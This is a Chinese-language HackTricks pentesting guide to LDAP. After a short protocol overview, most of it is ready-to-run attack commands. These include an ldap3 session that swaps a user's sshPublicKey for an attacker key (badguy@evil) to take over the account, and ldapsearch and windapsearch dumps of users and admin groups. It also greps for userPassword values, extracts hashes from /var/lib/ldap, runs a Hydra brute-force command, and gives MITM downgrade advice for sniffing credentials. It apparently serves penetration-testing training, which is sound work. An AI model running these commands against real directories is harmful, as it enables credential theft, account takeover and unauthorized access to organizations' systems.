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# 389, 636, 3268, 3269 - Pentesting LDAP
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< details >
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< / details >
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## 基本信息
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提取自:[https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
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LDAP( 轻量级目录访问协议) 是一种软件协议, 用于使任何人能够在网络上( 无论是公共互联网还是企业内部网络) **定位**组织、个人和其他**资源**, 如文件和设备。LDAP是目录访问协议( DAP) 的“轻量级”( 代码量较小) 版本。
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LDAP目录可以在多个服务器之间**分布**。每个服务器可以有一个**复制**的总目录版本,定期进行**同步**。LDAP服务器称为目录系统代理( DSA) 。接收用户请求的LDAP服务器负责处理请求, 并在必要时将其传递给其他DSA, 但确保为用户提供单一协调的响应。
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LDAP目录以简单的“树”层次结构组织, 包括以下级别:
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* 根目录(树的起始位置或源),分支到
* 国家,每个国家分支到
* 组织,分支到
* 组织单位(部门、部门等),分支到(包括一个条目)
* 个人(包括人员、文件和共享资源,如打印机)
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**默认端口:**389和636( ldaps) 。全局目录( ActiveDirectory中的LDAP) 默认在端口3268上提供, LDAPS默认在端口3269上提供。
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```
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PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
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### LDAP数据交换格式
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LDIF( LDAP数据交换格式) 将目录内容定义为一组记录。它还可以表示更新请求( 添加、修改、删除、重命名) 。
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```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
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* 第1-3行定义了顶级域local。
* 第5-8行定义了一级域moneycorp( moneycorp.local) 。
* 第10-16行定义了2个组织单位: dev和sales。
* 第18-26行创建了一个域对象, 并分配了带有值的属性。
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## 写入数据
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请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您**可以更改您的用户或任何用户的"sshPublicKey"信息**。很有可能,如果存在此属性,则**ssh正在从LDAP中读取公钥**。如果您可以修改用户的公钥, 即使在ssh中未启用密码身份验证, 您**仍然可以作为该用户登录**。
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```bash
>>> import ldap3
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>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
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>>> connection.bind()
True
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>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
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```
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## 嗅探明文凭证
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如果LDAP在没有SSL的情况下使用, 你可以在网络中**嗅探到明文凭证**。
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此外, 你可以在LDAP服务器和客户端之间的网络中进行**中间人攻击( MITM) **。在这里,你可以进行**降级攻击**,使客户端使用**明文凭证**进行登录。
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**如果使用SSL**, 你可以尝试进行类似上述提到的MITM攻击, 但提供一个**伪造的证书**,如果**用户接受**它,你就能够降级认证方法并再次查看凭证。
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## 匿名访问
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### 绕过TLS SNI检查
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根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), 只需使用任意域名( 如company.com) 访问LDAP服务器, 他就能够以匿名用户的身份联系LDAP服务并提取信息。
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```bash
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ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
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```
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### LDAP匿名绑定
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[LDAP匿名绑定 ](https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled )允许**未经身份验证的攻击者**从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一种**传统配置**, 从Windows Server 2003开始, 只有经过身份验证的用户才能发起LDAP请求。 \
然而,管理员可能需要**设置特定应用程序以允许匿名绑定**并提供了超出预期访问权限的访问, 从而使未经身份验证的用户可以访问AD中的所有对象。
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## 有效凭据
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如果您有有效的凭据登录LDAP服务器, 可以使用以下命令转储有关域管理员的所有信息:
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[ldapdomaindump ](https://github.com/dirkjanm/ldapdomaindump )
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```bash
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pip3 install ldapdomaindump
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ldapdomaindump < IP > [-r < IP > ] -u '< domain > \<username>' -p '< password > ' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
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```
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### [暴力破解](../generic-methodologies-and-resources/brute-force.md#ldap)
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## 枚举
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### 自动化
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使用此方法,您将能够查看**公开信息**(如域名)**: **
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```bash
nmap -n -sV --script "ldap* and not brute" < IP > #Using anonymous credentials
```
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### Python
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< details >
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< summary > 使用Python进行LDAP枚举< / summary >
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您可以尝试使用Python进行LDAP枚举, 无论是否使用凭据: `pip3 install ldap3`
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首先尝试**无凭据**连接:
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```bash
>>> import ldap3
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>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
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>>> connection.bind()
True
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>>> server.info
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```
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如果响应是`True`, 就像前面的例子一样, 你可以从LDAP服务器获取一些**有趣的数据**(比如**命名上下文**或**域名**) :
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```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
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Naming contexts:
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dc=DOMAIN,dc=DOMAIN
```
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一旦你获得了命名上下文,你可以进行一些更加有趣的查询。这个简单的查询应该会显示目录中的所有对象:
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```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
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或者**转储**整个ldap:
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```bash
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>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
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```
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< / details >
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### windapsearch
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[**Windapsearch** ](https://github.com/ropnop/windapsearch ) 是一个有用的Python脚本, 通过利用LDAP查询来枚举Windows域中的用户、组和计算机。
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```bash
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# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
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```
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### ldapsearch
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检查空凭证或验证您的凭证是否有效:
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```bash
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ldapsearch -x -H ldap://< IP > -D '' -w '' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
```bash
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# CREDENTIALS NOT VALID RESPONSE
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search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
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tion a successful bind must be completed on the connection., data 0, v3839
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```
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如果你发现有关"_bind必须完成_"的内容,意味着凭证是不正确的。
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你可以使用以下方法提取**域中的所有内容**:
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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-x Simple Authentication
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-H LDAP Server
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-D My User
-w My password
-b Base site, all data from here will be given
```
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提取**用户**:
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
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```
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提取 **计算机** :
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Computers,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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提取**我的信息**:
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=< MY NAME > ,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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提取 **域管理员** :
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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提取**域用户**:
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Users,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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提取**企业管理员**:
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Enterprise Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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提取 **Administrators** :
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Administrators,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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提取**远程桌面组**:
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```bash
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ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Remote Desktop Users,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
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```
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要查看是否有访问任何密码的权限, 您可以在执行其中一个查询后使用grep命令:
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```bash
< ldapsearchcmd... > | grep -i -A2 -B2 "userpas"
```
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请注意,您在这里找到的密码可能不是真实的...
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#### pbis
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您可以从这里下载**pbis**: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),它通常安装在`/opt/pbis`目录下。\
**Pbis**允许您轻松获取基本信息:
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```bash
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#Read keytab file
./klist -k /etc/krb5.keytab
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#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user < username >
./lsa list-groups-for-user < username >
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#Get groups of each user
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./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
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#Get users of each group
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./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n < Username > | grep "CN" | while read line; do
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echo "$line";
./adtool --keytab=/etc/krb5.keytab -n < username > -a lookup-object --dn="$line" --attr "description";
echo "======================"
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done
```
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## 图形界面
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### Apache Directory
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[**从这里下载Apache Directory** ](https://directory.apache.org/studio/download/download-linux.html )。你可以在[这里找到如何使用这个工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
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### jxplorer
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你可以在这里下载带有LDAP服务器的图形界面: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
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默认情况下, 它安装在: _/opt/jxplorer_
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![](< .. / . gitbook / assets / image ( 22 ) ( 1 ) . png > )
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## 通过Kerberos进行身份验证
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使用`ldapsearch`命令,你可以通过使用参数`-Y GSSAPI`来**使用Kerberos进行身份验证**,而不是通过**NTLM**进行身份验证。
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## POST
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如果你可以访问包含数据库的文件( 可能在_/var/lib/ldap_中) , 你可以使用以下命令提取哈希值:
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```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
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你可以将密码哈希值输入给John( 从'{SSHA}'到'structural',不包括'structural')。
### 配置文件
* 通用
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 服务器
* V3.sas.oc
* Microsoft Active Directory 服务器
* msadClassesAttrs.ldif
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* Netscape Directory Server 4
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* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP 目录服务器
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
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* Sun ONE Directory Server 5.1
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* 75sas.ldif
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## HackTricks 自动命令
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```
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Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
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https://book.hacktricks.xyz/pentesting/pentesting-ldap
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Entry_2:
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Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
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Entry_3:
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Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
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Entry_4:
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Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
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Entry_5:
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Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
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Entry_6:
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Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
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```
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< details >
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< / details >